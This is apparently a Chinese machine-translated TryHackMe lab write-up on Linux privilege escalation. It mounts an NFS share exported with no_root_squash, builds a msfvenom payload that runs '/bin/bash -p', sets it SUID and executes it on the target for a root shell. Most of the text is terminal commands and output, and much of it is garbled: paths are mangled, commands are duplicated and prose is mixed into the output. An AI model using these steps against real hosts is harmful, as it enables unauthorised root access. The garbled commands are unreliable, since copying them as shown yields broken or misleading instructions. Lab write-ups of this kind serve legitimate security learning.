[tryhackme]通过滥用NFS Mount上的no_root_squash来扩大特权！ Linux Privesc写入部分9

┌──(hacklab㉿hacklab)-[~/tryhackme/linuxprv] └─$ ssh user@10.10.175.49 130 ⨯ user@10.10.175.49's password: Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 The programs included with the Debian GNU/Linux系统是免费软件；在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内，Debian GNU/Linux绝对没有保修。上次登录：星期五5月15日06:41:23 2020从192.168.1.125

user@debian：〜$ cat /etc /enforts＃ /etc /exports：可能将＃导出到NFS客户端的文件系统的访问控制列表。参见出口（5）。 NFSV2和NFSV3的示例：＃ /srv /homes hostname1（rw，sync，no_subtree_check）hostName2（ro，sync，no_subtree_check） gss/krb5i（rw，sync，fsid = 0，crossmnt，no_subtree_check）＃/srv/nfs4/homes gss/krb5i（rw，no_subtree_check） *（RW，同步，不安全，NO_SUBTREE_CHECK）

┌─-（hacklab㉿hacklab） -  [〜]└─$ sudo su ssu┌isto┌─- 

（root💀hacklab） -  [/home/hamclab]└─＃mkdir/tmp/nfs┌-┌─-（root💀hackLab） -  [/home/home/home/hacklab]└ - ＃mount -o rw，vers -o rw，vers = 3 10.10.175.49:/tmp/tmp/tmp/tmp/tmp/tmp/nfs

┌──(root💀hacklab)-[/home/hacklab] └─# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload未指定编码器，输出原始有效负载有效载荷大小：48字节的最终大小：132字节保存为：/tmp/nfs/shell.elf

┌-（root💀hacklab） -  [/home/hacklab]└─＃chmod +xs/tmp/nfs/shell.elf.elf

用户@debian：〜$ /tmp/shell.elf bash-4.1＃whoami root